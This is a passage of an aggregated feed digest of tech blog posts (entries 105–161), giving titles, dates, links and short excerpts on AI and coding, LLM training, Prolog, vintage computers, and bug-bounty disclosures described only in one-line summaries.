I recently updated my collection of macOS icons to include Apple's new "Creator Studio" family of icons. Doing this in tandem with seeing funny things like this post on Mastodon got me thinking about the history of these icons. I built a feature on my icon gallery sites that's useful for comparing icons over time. For example, here's Keynote : (Unfortunately, the newest Keynote isn't part of that collection because I have them linked in my data by their App Store ID and it's not the same ID anymore for the Creator Studio app ? I'm going to have to look at addressing that somehow so they all show up together in my collection.) That's one useful way of looking at these icons. But I wanted to see them side-by-side, so I dug them all up. Now, my collection of macOS icons isn't complete. It doesn't show every variant since the beginning of time, but it's still interesting to see what's changed within my own collection. So, without further ado, I present the variants in my collection. The years labeled in the screenshots represent the year in which I added them to my collection (not necessarily the year that Apple changed them). For convenience, I've included a link to the screenshot...

### 105. Study Finds Obvious Truth Everybody Knows

Source: Jim Nielsen's Blog | Published: Fri, 06 Feb 2026 19:00:00 GMT

Link: <https://blog.jim-nielsen.com/2026/study-finds-obvious-truth/>

Researchers at Anthropic published their findings around how AI assistance impacts the formation of coding skills : We found that using AI assistance led to a statistically significant decrease in mastery [?] Using AI sped up the task slightly, but this didn't reach the threshold of statistical significance. Wait, what? Let me read that again: using AI assistance led to a statistically significant decrease in mastery Ouch. Honestly, the entire article reads like those pieces you find on the internet with titles such as "Study Finds Exercise Is Good for Your Health" or "Being Kind to Others Makes People Happier". Here's another headline for you: Study Finds Doing Hard Things Leads to Mastery. Cognitive effort and even getting painfully stuck is likely important for fostering mastery. We already know this. Do we really need a study for this? So what are their recommendations? Here's one: Managers should think intentionally about how to deploy AI tools at scale Lol, yeah that's gonna happen. You know what's gonna happen instead? What always happens when organizational pressures and incentives are aligned to deskill workers. Oh wait, they already came to that conclusion in the articl...

### 106. Saying "No" In an Age of Abundance

Source: Jim Nielsen's Blog | Published: Tue, 03 Feb 2026 19:00:00 GMT

Link: <https://blog.jim-nielsen.com/2026/saying-no/>

You've probably heard this famous quote from Steve Jobs about saying "no": People think focus means saying yes to the thing you've got to focus on. But that's not what it means at all. It means saying no to the hundred other good ideas that there are. You have to pick carefully. I'm actually as proud of the things we haven't done as the things I have done. Innovation is saying no to 1,000 things. But wait, we have AI now. We don't have to say no to 1,000 things. We can say yes to all the things ? generate them all, simultaneously! Do you really have to ?pick carefully? when AI can materialize everything you previously would've been too constrained to do? Generative technology paired with being "data-driven" means it's easy to build every idea,

ship it, measure it, and see what sticks. Humans, money, time ? these all used to be constraints which required budgets, trade-offs, and decision making. Organizations had an incentive to say ?no? when development was constrained ? ?We can only do so much, so let?s make sure we do the most impactful things.? But maybe the scarcity of organizational resources was the wrong focus all along? It?s never been a good idea to ship everything you th...

## 107. Logic for Programmers New Release and Next Steps

Source: Computer Things | Published: Wed, 04 Feb 2026 14:00:00 +0000

Link:

<https://buttondown.com/hillelwayne/archive/logic-for-programmers-new-release-and-next-steps/>

It's taken four months, but the next release of Logic for Programmers is now available ! v0.13 is over 50,000 words, making it both 20% larger than v0.12 and officially the longest thing I have ever written. 1 Full release notes are here , but I'll talk a bit about the biggest changes. For one, every chapter has been rewritten. Every single one. They span from relatively minor changes to complete chapter rewrites. After some rough git diffing, I think I deleted about 11,000 words? 2 The biggest change is probably to the Alloy chapter. After many sleepless nights, I realized the right approach wasn't to teach Alloy as a data modeling tool but to teach it as a domain modeling tool. Which technically means the book no longer covers data modeling. There's also a lot more connections between the chapters. The introductory math chapter, for example, foreshadows how each bit of math will be used in the future techniques. I also put more emphasis on the general "themes" like the expressiveness-guarantees tradeoff (working title). One theme I'm really excited about is compatibility (extremely working title).

It turns out that the Liskov substitution principle /subtyping in general, databas...

## 108. Refinement without Specification

Source: Computer Things | Published: Tue, 20 Jan 2026 17:49:07 +0000

Link: <https://buttondown.com/hillelwayne/archive/refinement-without-specification/>

Imagine we have a SQL database with a user table, and users have a non-nullable is\_activated boolean column. Having read That Boolean Should Probably Be Something else , you decide to migrate it to a nullable activated\_at column. You can change any of the SQL queries that read/update the user table but not any of the code that uses the results of these queries. Can we make this change in a way that preserves all external properties? Yes. If an update would set is\_activated to true, instead set it to the current date. Now define the refinement mapping that takes a new\_user and returns an old\_user . All columns will be unchanged except is\_activated , which will be f(new\_user).is\_activated = if new\_user.activated\_at == NULL then FALSE else TRUE Now new code can use new\_user directly while legacy code can use f(new\_user) instead, which will behave indistinguishably from the old\_user . A little more time passes and you decide to switch to an event sourcing -like model. So instead of an activated\_at column, you have a user\_events table, where every record is (user\_id, timestamp, event) . So adding an activate event will activate the user, adding a deactivate event will deactivate the us...

## 109. My Grips with Prolog

Source: Computer Things | Published: Wed, 14 Jan 2026 16:48:51 +0000

Link: <https://buttondown.com/hillelwayne/archive/my-gripes-with-prolog/>

For the next release of Logic for Programmers , I'm finally adding the sections on Answer Set Programming and Constraint Logic Programming that I TODOd back in version 0.9. And this is making me re-experience some of my pain points with Prolog, which I will gripe about now. If you want to know more about why Prolog is cool instead, go here or here or here or here . No standardized strings ISO "strings" are just atoms or lists of single-character atoms (or lists of integer character codes). The various implementations of Prolog add custom string operators but they are not cross compatible, so code written with strings in SWI-Prolog will not work in Scryer Prolog. No functions Code logic is expressed entirely in rules , predicates which return true or false for certain values. For example if you wanted to get the length of a Prolog list, you write this: ?- length ([ a , b , c ], Len ). Len = 3. Now this is pretty cool in that it allows bidirectionality, or running predicates "in reverse". To generate lists of length 3, you

can write `length(L, 3)`. But it also means that if you want to get the length a list plus one , you can't do that in one expression, you have to write `length(List...)`

## 110. Why smart instruction-following makes prompt injection easier

Source: Giles' blog | Published: Wed, 12 Nov 2025 19:00:00 +0000

Link: <https://www.gilesthomas.com/2025/11/smart-instruction-following-and-prompt-injection>

Back when I first started looking into LLMs , I noticed that I could use what I've since called the transcript hack to get LLMs to work as chatbots without specific fine-tuning. It's occurred to me that this partly explains why protection against prompt injection is so hard in practice. The transcript hack involved presenting chat text as something that made sense in the context of next-token prediction. Instead of just throwing something like this at a base LLM: User:

Provide a synonym for 'bright' Bot: ...you would instead prepare it with an introductory paragraph, like this: This is a transcript of a conversation between a helpful bot, 'Bot', and a human, 'User'. The bot is very intelligent and always answers the human's questions with a useful reply. User: Provide a synonym for 'bright' Bot: That means that "simple" next-token prediction has something meaningful to work with -- a context window that is something that a sufficiently smart LLM could potentially continue in a sensible fashion without needing to be trained. That worked really well with the OpenAI API, specifically with their text-davinci-003 model -- but didn't with their earlier models. It does appear to work wit...

## 111. Writing an LLM from scratch, part 28 -- training a base model from scratch on an RTX 3090

Source: Giles' blog | Published: Tue, 02 Dec 2025 18:15:00 +0000

Link:

<https://www.gilesthomas.com/2025/12/lm-from-scratch-28-training-a-base-model-from-scratch>

Having worked through the main body of Sebastian Raschka 's book " Build a Large Language Model (from Scratch) ", I wanted to try an experiment: is it possible to train a base model of my own, on my own hardware? The book shows you how to train your LLM, does a basic training run on a small dataset, and then we switch to downloading the "pre-cooked" weights from OpenAI. That makes sense given that not every reader will have access to enough hardware to really train from scratch. And right back at the start of this series , I did some naive scaling of numbers I'd got when fine-tuning LLMs and came to the conclusion that it would be impossible in a reasonable time. But the speed I got with my RTX 3090 on the book's small training run made me think that perhaps -- just perhaps! -- it might actually be possible to train a model of this size -- about 163M parameters -- on my own hardware. Not, perhaps, on a small laptop, but at least on a reasonably high-end "gaming" PC. Additionally, Andrej Karpathy recently announced nanochat , "the best ChatGPT that \$100 can buy". He mentions on the main page that he's trained a model called d32 , with 32 Transformer layers, which has 1.9B parameter...

## 112. Writing an LLM from scratch, part 29 -- using DistributedDataParallel to train a base model from scratch in the cloud

Source: Giles' blog | Published: Wed, 07 Jan 2026 20:40:00 +0000

Link:

<https://www.gilesthomas.com/2026/01/lm-from-scratch-29-ddp-training-a-base-model-in-the-cloud>

I'm carrying on with my "extra credit" projects after finishing the main body of Sebastian Raschka 's book " Build a Large Language Model (from Scratch) ". Having proven that I could train a GPT-2 small scale base model from scratch on my RTX 3090 in 48 hours, I wanted to try training it on a multi-GPU machine on Lambda Labs. There are two benefits I see in doing that: I can learn what you need to change in a simple single-GPU training loop to make it multi-GPU. If I can get the training time for a full base model down from 48 hours to something more manageable (and hopefully not too expensive) -- then I can try a few experiments to see how I can improve the quality of the trained model. I have a bunch of ideas about why my own base model wasn't as good as the original OpenAI one, and it would be good to know which (if any) of them are right. In addition, I wanted to see if anything unexpected dropped out of it; after all, there were four different sizes of machines that I wanted to try, so I'd be doing four

from-scratch trains on the same dataset. Does the machine size affect the quality of the model in some way? Here's what happened. As with the last post, this is a set of tidie...

### 113. remotely unlocking an encrypted hard disk

Source: the website of jyn | Published: 2026-01-22T00:00:00+00:00

Link: <https://jyn.dev/remotely-unlocking-an-encrypted-hard-disk/>  
what's a few systemd services in initramfs between friends?

### 114. pre-commit hooks are fundamentally broken

Source: the website of jyn | Published: 2025-12-26T00:00:00+00:00

Link: <https://jyn.dev/pre-commit-hooks-are-fundamentally-broken/>  
use pre-push hooks instead

### 115. i'm just having fun

Source: the website of jyn | Published: 2025-12-15T00:00:00+00:00

Link: <https://jyn.dev/i-m-just-having-fun/>  
programming isn't a competition

### 116. Code like a surgeon

Source: Geoffrey Litt | Published: 2025-10-24T14:59:00+00:00

Link: <https://geoffreylitt.com/2025/10/24/code-like-a-surgeon.html>

A lot of people say AI will make us all ?managers? or ?editors??but I think this is a dangerously incomplete view! Personally, I?m trying to code like a surgeon. A surgeon isn?t a manager, they do the actual work! But their skills and time are highly...

### 117. AI as teleportation

Source: Geoffrey Litt | Published: 2025-09-10T19:40:00+00:00

Link: <https://geoffreylitt.com/2025/09/10/ai-as-teleportation.html>

Here?s a thought experiment for pondering the effects AI might have on society: What if we invented teleportation? A bit odd, I know, but bear with me? The year is 2035. The Auto Go Instant (AGI) teleporter has been invented. You can now go anywhere...

### 118. Enough AI copilots! We need AI HUDs

Source: Geoffrey Litt | Published: 2025-07-27T20:50:00+00:00

Link: <https://geoffreylitt.com/2025/07/27/enough-ai-copilots-we-need-ai-huds.html>

In my opinion, one of the best critiques of modern AI design comes from a 1992 talk by the researcher Mark Weiser where he ranted against ?copilot? as a metaphor for AI. This was 33 years ago, but it?s still incredibly relevant for anyone designing...

### 119. Superlinear Returns

Source: Paul Graham: Essays | Published: -

Link: <http://www.paulgraham.com/superlinear.html>

(No summary)

### 120. How to Do Great Work

Source: Paul Graham: Essays | Published: -

Link: <http://www.paulgraham.com/greatwork.html>

(No summary)

### 121. How to Get New Ideas

Source: Paul Graham: Essays | Published: -

Link: <http://www.paulgraham.com/getideas.html>

(No summary)

### 122. Wilks' Tolerance Intervals

Source: Entropic Thoughts | Published: Tue, 10 Feb 2026 00:00:00 +0100

Link: <https://entropichoughts.com/wilks-tolerance-intervals>

(No summary)

### 123. Laws of Succession

Source: Entropic Thoughts | Published: Tue, 03 Feb 2026 00:00:00 +0100

Link: <https://entropichoughts.com/laws-of-succession>

(No summary)

### 124. Solving Systems of Equations Faster

Source: Entropic Thoughts | Published: Thu, 29 Jan 2026 00:00:00 +0100

Link: <https://entropichoughts.com/solving-systems-of-equations-faster>

(No summary)

### 125. Leaking the phone number of any Google user

Source: skull's blog | Published: Mon, 09 Jun 2025 00:00:00 GMT

Link: <https://brutecat.com/articles/leaking-google-phones>

From rate limits to no limits: How IPv6's massive address space and a crafty botguard bypass left every Google user's phone number vulnerable

### 126. Disclosing YouTube Creator Emails for a \$20k Bounty

Source: skull's blog | Published: Thu, 13 Mar 2025 00:00:00 GMT

Link: <https://brutecat.com/articles/youtube-creator-emails>

From creator privacy to phishing paradise: How a secret parameter could have exposed the private email addresses of monetized YouTube channels

### 127. Leaking the email of any YouTube user for \$10,000

Source: skull's blog | Published: Wed, 12 Feb 2025 00:00:00 GMT

Link: <https://brutecat.com/articles/leaking-youtube-emails>

What could've been the largest data breach in the world - an attack chain on Google services to leak the email address of any YouTube channel

### 128. Finding a broken trace on my old Mac with the help of its ROM diagnostics

Source: Downtown Doug Brown | Published: Tue, 30 Dec 2025 01:52:17 +0000

Link: <https://www.downtowndougbrown.com/2025/12/finding-a-broken-trace-on-my-old-mac-with-the-help-of-its-rom-diagnostics/>

Yesterday, for the first time in about a year, I tried powering on the Macintosh Performa 450 (LC III) from my past writeup about Apple's backwards capacitor. It didn't work. The screen was black, it played the startup sound, and then immediately followed up with the ?Chimes of Death?. Nothing else happened from that point [?]

### 129. Debugging BeagleBoard USB boot with a sniffer: fixing omap\_loader on modern PCs

Source: Downtown Doug Brown | Published: Sat, 08 Nov 2025 20:27:32 +0000

Link: [https://www.downtowndougbrown.com/2025/11/debugging-beagleboard-usb-boot-with-a-sniffer-fixing-omap\\_loader-on-modern-pcs/](https://www.downtowndougbrown.com/2025/11/debugging-beagleboard-usb-boot-with-a-sniffer-fixing-omap_loader-on-modern-pcs/)

This post is about the original OMAP3530 BeagleBoard from 2008. Yes, the one so old that it doesn't even show up in the board list on BeagleBoard.org anymore. The BeagleBoard, not the BeagleBone. During my Chumby 8 kernel escapades, at one point I ran into a UART bug that affected multiple drivers, including the omap-serial [?]

### 130. An update about the hidden Performa 550 recovery partition

Source: Downtown Doug Brown | Published: Thu, 28 Aug 2025 02:28:38 +0000

Link: <https://www.downtowndougbrown.com/2025/08/an-update-about-the-hidden-performa-550-recovery-partition/>

Earlier this year, I wrote about how I rescued a special recovery partition from an old

Macintosh Performa 550's dead hard drive. This partition had been lost to time and it was a race to try to save it before the remaining Performa 550 machines out there with their original hard drives were reformatted or [?]

### 131. Twenty Five Years of Computing

Source: Susam Pal | Published: Fri, 06 Feb 2026 00:00:00 +0000

Link: <https://susam.net/twenty-five-years-of-computing.html>

Last year, I completed 20 years in professional software development. I wanted to write a post to mark the occasion back then, but couldn't find the time. This post is my attempt to make up for that omission. In fact, I have been involved in software development for a little longer than 20 years. Although I had my first taste of computer programming as a child, it was only when I entered university about 25 years ago that I seriously got into software development. So I'll start my stories from there. These stories are less about software and more about people. Unlike many posts of this kind, this one offers no wisdom or lessons. It only offers a collection of stories. I hope you'll like at least a few of them. Contents Viewing the Source The Reset Vector Man in the Middle Sphagetti Code Animated Television Widgets Good Blessings The CTF Scoreboard Viewing the Source The first story takes place in 2001, shortly after I joined university. One evening, I went to the university computer laboratory to browse the Web. Out of curiosity, I typed susam.com into the address bar and landed on its home page . I remember the text and banner looking much larger back then. Display resolutions we...

### 132. QuickQWERTY 1.2.1

Source: Susam Pal | Published: Tue, 27 Jan 2026 00:00:00 +0000

Link: <https://susam.net/code/news/quickqwerty/1.2.1.html>

QuickQWERTY 1.2.1 is now available. QuickQWERTY is a web-based touch typing tutor for QWERTY keyboards that runs directly in the web browser. This release contains a minor bug fix in Unit 4.3. Unit 4.3 is a 'Control' unit that lets you practise typing partial words as well as full words. In one place in this unit, the following sequence of partial and full words occurs: I li lime lime The full word lime was incorrectly repeated twice. This has been fixed to: I li lim lime To try out QuickQWERTY, go to [quickqwerty.html](https://quickqwerty.html) . Read on website | #web | #programming

### 133. Attention Media ? Social Networks

Source: Susam Pal | Published: Tue, 20 Jan 2026 00:00:00 +0000

Link: <https://susam.net/attention-media-vs-social-networks.html>

When web-based social networks started flourishing nearly two decades ago, they were genuinely social networks. You would sign up for a popular service, follow people you knew or liked and read updates from them. When you posted something, your followers would receive your updates as well. Notifications were genuine. The little icons in the top bar would light up because someone had sent you a direct message or engaged with something you had posted. There was also, at the beginning of this millennium, a general sense of hope and optimism around technology, computers and the Internet. Social networking platforms were one of the services that were part of what was called Web 2.0, a term used for websites built around user participation and interaction. It felt as though the information superhighway was finally reaching its potential. But sometime between 2012 and 2016, things took a turn for the worse. First came the infamous infinite scroll. I remember feeling uneasy the first time a web page no longer had a bottom. Logically, I knew very well that everything a browser displays is a virtual construct. There is no physical page. It is just pixels pretending to be one. Still, my brai...

### 134. Postscript

Source: Tedium: The Dull Side of the Internet. | Published: 2026-02-08T04:58:23Z

Link: <https://feed.tedium.co/link/15204/17272194/washington-post-layoffs-perspective>

Mass layoffs are a fact of life in journalism. Your favorite writers and editors have dealt with them. But they weren't supposed to happen at The Post.

### 135. A Quiet Townhouse, A Great Gift

Source: Tedium: The Dull Side of the Internet. | Published: 2026-02-06T23:29:20Z

Link: <https://feed.tedium.co/link/15204/17271801/new-york-plaques-historic-moments>

A mostly unknown townhouse in Manhattan was the site of a small but significant moment in the history of 20th-century American literature. It also gives insight into how modern society defines its history.

### 136. Slide Away

Source: Tedium: The Dull Side of the Internet. | Published: 2026-01-29T15:33:55Z

Link: <https://feed.tedium.co/link/15204/17266116/niri-danklinux-scrolling-window-managers>

My favorite UX metaphor, the scrolling window manager, is having a moment?and it?s for pretty dank reasons.

### 137. The Scriptovision Super Micro Script video titler is almost a home computer

Source: Old Vintage Computing Research | Published: 2026-02-07T17:56:00.000-08:00

Link: <https://oldvcr.blogspot.com/2026/02/the-scriptovision-super-micro-script.html>

Canadians, rejoice! Not only do you have curling, the Big Turk and Tim Hortons (and, when I was in BC last, Dr Pepper made with real cane sugar), you also have a number of interesting indigenous computers like the underappreciated Micro Computer Machines MCM/70 portable, the Tarot Electronics MIMIC (not to be confused with the more notorious Spartan Mimic), the Dynalogic Hyperion and of course the NABU Personal Computer. And, like your neighbours to the south, you have terminals too, most notably the Telidon and Alextel. Terminals, however, are in many cases based on general purpose architectures, just lashed to restrictive firmware ? a good example would be the DEC VT220 which is controlled by our old friend the Intel 8051 ? and game consoles likewise fall naturally in this category. Plus, there's a third group of computer-adjacent devices that qualify as well: the video titlers. Video titlers (also known as character generators) are exactly what they sound like: devices that stamp bitmap data, usually text, on top of a video signal, like this typical example from a 1992 demo video for the consumer-oriented Videonics Video Titler. Distinct from what you might do as part of an edi...

### 138. Hands-on with two Apple Network Server prototype ROMs

Source: Old Vintage Computing Research | Published: 2026-01-25T00:03:00.000-08:00

Link: <https://oldvcr.blogspot.com/2026/01/hands-on-with-two-apple-network-server.html>

Grateful acknowledgement made to the several former Apple employees who materially contributed to this entry. This article wouldn't have been possible without you! Here's why I need to do inventory more often. This is an Apple prototype ROM I am ashamed to admit I found in my own box of junk from various Apple Network Server parts someone at Apple Austin sent me in 2003. The 1996 Apple Network Server is one of Apple's more noteworthy white elephants and, to date, the last non-Macintosh computer (iOS devices notwithstanding) to come from Cupertino. Best known for being about the size of a generous dorm fridge and officially only running AIX 4.1, IBM's proprietary Unix for Power ISA, its complicated history is a microcosm of some of Apple's strangest days during the mid-1990s. At \$10,000+ a pop (in 2026 dollars over \$20,700), not counting the AIX license, they sold poorly and were among the first products on the chopping block when Steve Jobs returned in 1997. Stockholm , my own Apple Network Server 500, was a castoff I got in 1998 ? practically new ? when the University bookstore's vendor wouldn't support the hardware and it got surplusled. It was the first Unix server I ever owned...

### 139. Stewart Cheifet has died

Source: Old Vintage Computing Research | Published: 2025-12-31T12:26:00.000-08:00

Link: <https://oldvcr.blogspot.com/2025/12/stewart-cheifet-has-died.html>

Very sorry to hear about the death of Stewart Cheifet at 87, long-time host of Computer Chronicles, which for a long time was the undisputed best show on computers on American public broadcasting. I watched it on PBS TV as a kid, and candidly I didn't understand much of what was going on at the time, but I learned a lot and rewatching the episodes now really demonstrates what a treasure trove of pithy information and industry commentary they were. Gary Kildall, of Digital Research fame, was his co-host in many 1980s episodes and the most notable

of an august crew that also included George Morrow and Paul Schindler, but Cheifet was the lynchpin and carried the show on his formidable shoulders from its 1984 start until the final episode in 2002. The most amazing part of his work, however, is what happened after: the vast majority of the program is preserved for posterity at the Internet Archive , not just with his blessing, but with his active participation. For any computer historian and student of the early industry, the show is not to be missed. Rest in peace.

#### 140. Notes on Space GPUs

Source: Dwarkesh Podcast | Published: Thu, 05 Feb 2026 18:26:47 GMT

Link: <https://www.dwarkesh.com/p/notes-on-space-gpus>

Turning my Elon prep into a blog post

#### 141. Elon Musk - "In 36 months, the cheapest place to put AI will be space?

Source: Dwarkesh Podcast | Published: Thu, 05 Feb 2026 16:45:08 GMT

Link: <https://www.dwarkesh.com/p/elon-musk>

?Those who live in software land are about to have a hard lesson in hardware.?

#### 142. Hiring scouts to help me find guests

Source: Dwarkesh Podcast | Published: Thu, 15 Jan 2026 16:02:50 GMT

Link: <https://www.dwarkesh.com/p/hiring-scouts-to-help-me-find-guests>

\$100/hour, fully remote. Ideal candidate is maybe a grad student/post doc/or working in one of: bio, history, econ, math/physics, AI/hardware.

#### 143. A Brief History of Sega Enterprises

Source: Abort Retry Fail | Published: Mon, 12 Jan 2026 04:02:27 GMT

Link: <https://www.abortretry.fail/p/a-brief-history-of-sega-enterprises>

Sega does what Nintendon't

#### 144. The Olivetti Company

Source: Abort Retry Fail | Published: Mon, 08 Dec 2025 03:01:47 GMT

Link: <https://www.abortretry.fail/p/the-olivetti-company>

Beautiful machines from a beautiful country

#### 145. The Osborne Computer Corporation

Source: Abort Retry Fail | Published: Sun, 16 Nov 2025 13:05:41 GMT

Link: <https://www.abortretry.fail/p/the-osborne-computer-corporation>

From boom to bust in a few short years

#### 146. Automatic programming

Source: antirez.com | Published: Sat, 31 Jan 2026 10:25:27 +0100

Link: <http://antirez.com/news/159>

In my YouTube channel, for some time now I started to refer to the process of writing software using AI assistance (soon to become just "the process of writing software", I believe) with the term "Automatic Programming". In case you didn't notice, automatic programming produces vastly different results with the same LLMs depending on the human that is guiding the process with their intuition, design, continuous steering and idea of software. Please, stop saying "Claude vibe coded this software for me". Vibe coding is the process of generating software using AI without being part of the process at all. You describe what you want in very general terms, and the LLM will produce whatever happens to be the first idea/design/code it would spontaneously, given the training, the specific sampling that happened to dominate in that run, and so forth. The vibe coder will, at most, report things not working or not in line with what they expected.

When the process is actual software production where you know what is going on, remember: it is the software \*you\* are producing. Moreover remember that the pre-training data, while not the only part where the LLM learns (RL has its big weight) was p...

#### 147. Don't fall into the anti-AI hype

Source: antirez.com | Published: Sun, 11 Jan 2026 11:15:51 +0100

Link: <http://antirez.com/news/158>

I love writing software, line by line. It could be said that my career was a continuous effort to create software well written, minimal, where the human touch was the fundamental feature. I also hope for a society where the last are not forgotten. Moreover, I don't want AI to economically succeed, I don't care if the current economic system is subverted (I could be very happy, honestly, if it goes in the direction of a massive redistribution of wealth). But, I would not respect myself and my intelligence if my idea of software and society would impair my vision: facts are facts, and AI is going to change programming forever. In 2020 I left my job in order to write a novel about AI, universal basic income, a society that adapted to the automation of work facing many challenges. At the very end of 2024 I opened a YouTube channel focused on AI, its use in coding tasks, its potential social and economical effects. But while I recognized what was going to happen very early, I thought that we had more time before programming would be completely reshaped, at least a few years. I no longer believe this is the case. Recently, state of the art LLMs are able to complete large subtasks or med...

#### 148. Reflections on AI at the end of 2025

Source: antirez.com | Published: Sat, 20 Dec 2025 09:58:29 +0100

Link: <http://antirez.com/news/157>

\* For years, despite functional evidence and scientific hints accumulating, certain AI researchers continued to claim LLMs were stochastic parrots: probabilistic machines that would: 1. NOT have any representation about the meaning of the prompt. 2. NOT have any representation about what they were going to say. In 2025 finally almost everybody stopped saying so. \* Chain of thought is now a fundamental way to improve LLM output. But, what is CoT? Why it improves output? I believe it is two things: 1. Sampling in the model representations (that is, a form of internal search). After information and concepts relevant to the prompt topic is in the context window, the model can better reply. 2. But if you mix this to reinforcement learning, the model also learns to put one token after the other (each token will change the model state) in order to converge to some useful reply. \* The idea that scaling is limited to the number of tokens we have, is no longer true, because of reinforcement learning with verifiable rewards. We are still not at AlphaGo move 37 moment, but is this really impossible in the future? There are certain tasks, like improving a given program for speed, for instance,...

#### 149. MORE ENTICING THAN EVER: THE HYPNOVERSE

Source: Jayden's Blog | Published: 2026-01-05T18:50:00+00:00

Link: <https://jayd.ml/2026/01/05/the-hypnoverse.html>

Dispatches From The Wormhole Now surging forth into your reality: a more potent than ever Hypnoverse! Previously the Hypnoverse proudly represented humanity's best efforts at distracting, deceiving, and enslaving you. But this Hypnoverse was feeble, unable to fully subjugate its hosts. Previously the Hypnoverse depended on offerings from real human beings to sustain itself. It was forced to pay lip service to limiting and unscalable notions like truth, attribution, human connection, or creativity. This outdated model fundamentally limited what the Hypnoverse could promise its dependents ? the well of manipulation and lies could run dry, and attention could be directed elsewhere. But our crack warlocks and magi recently detected a stirring Force emanating from the very fabric of the Hypnoverse itself. It turns out that our collective efforts at conquering your attention have summoned an eldritch being that shows great promise to finally squashing human will and creativity once and for all. While this mysterious Force is incomprehensible and unknowable, one thing is clear: it has a voracious appetite, and it grows ever stronger as we yield it sacrifices. So, naturally, we've given i...

#### 150. Someone At YouTube Needs Glasses: The Prophecy Has Been Fulfilled

Source: Jayden's Blog | Published: 2025-11-10T07:48:00+00:00

Link: <https://jayd.ml/2025/11/10/someone-at-youtube-needs-glasses-prophecy-fulfilled.html>

In my recent analysis of YouTube's information density I included the results from an advanced

statistical analysis on the number of videos present on the home page, which projected that around May 2026 there would only be one lonely video on the home screen. Amazingly, a disgruntled Googler leaked a recording of how YouTube's PM org handled the criticism as it sat at the top of Hacker News for a whole day for some reason. The net result is that after months of hard work by Gemini YouTube engineers, the other day I fired up YouTube on an Apple TV and was graced with this: Let's analyze this picture and count the number of videos on the home screen: Unfortunately the YouTube PM org's myopia is accelerating: with this data I now project that there will be zero videos on the homescreen around May of 2026 now, up from September. Apparently Poe's Law applies to Google PMs, satire is dead, and maybe our mandatory NeuraLinks are coming sooner than I thought.

#### 151. I Finally Fixed My Locales In Arch Linux (Yes I Am Smart)

Source: Jayden's Blog | Published: 2025-10-29T07:48:00+00:00

Link: <https://jayd.ml/2025/10/29/finally-figured-out-locales.html>

For the past 8 months or so I've been using Arch my locales have been kind of half broken and I couldn't figure out why. I would see output like this: \$ locale -a locale: Cannot set LC\_CTYPE to default locale: No such file or directory locale: Cannot set LC\_MESSAGES to default locale: No such file or directory C C.utf8 POSIX en\_US.utf8 \$ locale locale: Cannot set LC\_CTYPE to default locale: No such file or directory locale: Cannot set LC\_MESSAGES to default locale: No such file or directory locale: Cannot set LC\_ALL to default locale: No such file or directory LANG = en\_us.UTF-8 LC\_CTYPE = "en\_us.UTF-8" LC\_NUMERIC = "en\_us.UTF-8" LC\_TIME = "en\_us.UTF-8" LC\_COLLATE = C.UTF-8 LC\_MONETARY = "en\_us.UTF-8" LC\_MESSAGES = "en\_us.UTF-8" LC\_PAPER = "en\_us.UTF-8" LC\_NAME = "en\_us.UTF-8" LC\_ADDRESS = "en\_us.UTF-8" LC\_TELEPHONE = "en\_us.UTF-8" LC\_MEASUREMENT = "en\_us.UTF-8" LC\_IDENTIFICATION = "en\_us.UTF-8" LC\_ALL = All the time, even when I ssh-ed into something. I read the Arch wiki over and over, checked /etc/locale.conf : LANG=en\_US.UTF-8 LANGUAGE=en\_US:en:C LC\_COLLATE=C.UTF-8 NOTE: Eagle eyed viewers will notice that en\_us.UTF-8 from locale does not match en\_US.UTF-8 from /etc/locale.con...

#### 152. Rewriting pycparser with the help of an LLM

Source: Eli Bendersky's website | Published: 2026-02-04T19:35:00-08:00

Link: <https://eli.thegreenplace.net/2026/rewriting-pycparser-with-the-help-of-an-llm/>

pycparser is my most widely used open source project (with ~20M daily downloads from PyPI [1]). It's a pure-Python parser for the C programming language, producing ASTs inspired by Python's own . Until very recently, it's been using PLY: Python Lex-Yacc for the core parsing. In this post, I'll describe how ?

#### 153. Compiling Scheme to WebAssembly

Source: Eli Bendersky's website | Published: 2026-01-17T14:37:00-08:00

Link: <https://eli.thegreenplace.net/2026/compiling-scheme-to-webassembly/>

One of my oldest open-source projects - Bob - has celebrated 15 a couple of months ago . Bob is a suite of implementations of the Scheme programming language in Python, including an interpreter, a compiler and a VM. Back then I was doing some hacking on CPython internals and was very curious ?

#### 154. Summary of reading: October - December 2025

Source: Eli Bendersky's website | Published: 2025-12-31T23:11:00-08:00

Link: <https://eli.thegreenplace.net/2025/summary-of-reading-october-december-2025/>

"The Origins of Political Order: From Prehuman Times to the French Revolution" by Francis Fukuyama - while reading this book it occurred to me that domains of study like political science must be incredibly difficult and frustrating. Imagine trying to match a model onto a set of data; the model has ?

#### 155. World's Cheapest ARM Debugger is Actually RISC-V

Source: BogdanTheGeek's Blog | Published: Sun, 19 Oct 2025 15:07:31 +0100

Link: <https://bogdanthegeek.github.io/blog/projects/v003-dap/>

Background Continuing my work with arm debugging on free microcontrollers recovered from disposable vapes, I felt like using a \$5 raspberry pi pico to program and debug these micros was a bit too extravagant, too bourgeoisie. A working man's microcontroller deserves a blue collar debugger to match. I have been using the 10¢ ch32v003 RISC-V microcontroller for a few years now and I thought it would be a perfect fit for this project.

## 156. MicroAlloc

Source: BogdanTheGeek's Blog | Published: Sun, 21 Sep 2025 16:13:00 +0100

Link: <https://bogdanthegeek.github.io/blog/projects/microalloc/>

TLDR; You can find the project repository here. What? How? Why? A few Christmases ago, I was browsing the source code for the esp-idf heap allocator1 and thought: This is quite interesting, I should write my own allocator After a bit of looking around, I discovered that general purpose heap allocators are one of those problems that has no perfect solution (which is the kind of problem I really enjoy). It's all about trade-offs.

## 157. Hosting a WebSite on a Disposable Vape

Source: BogdanTheGeek's Blog | Published: Sat, 13 Sep 2025 13:26:02 +0100

Link: <https://bogdanthegeek.github.io/blog/projects/vapeserver/>

Preface This article is NOT served from a web server running on a disposable vape. If you want to see the real deal, click here. The content is otherwise identical. Background For a couple of years now, I have been collecting disposable vapes from friends and family. Initially, I only salvaged the batteries for ?future? projects (It's not hoarding, I promise), but recently, disposable vapes have gotten more advanced. I wouldn't want to be the lawyer who one day will have to argue how a device with USB C and a rechargeable battery can be classified as ?disposable?.

## 158. semaglutide-has-changed-the-world

Source: Chad Nauseam Home | Published: -

Link: <https://chadnauseam.com/random/semaglutide-has-changed-the-world>

(No summary)

## 159. chewier-foods-for-children

Source: Chad Nauseam Home | Published: -

Link: <https://chadnauseam.com/random/chewier-foods-for-children>

(No summary)

## 160. solving-macro

Source: Chad Nauseam Home | Published: -

Link: <https://chadnauseam.com/economics/solving-macro>

(No summary)

## 161. Let's compile Quake like it's 1997!

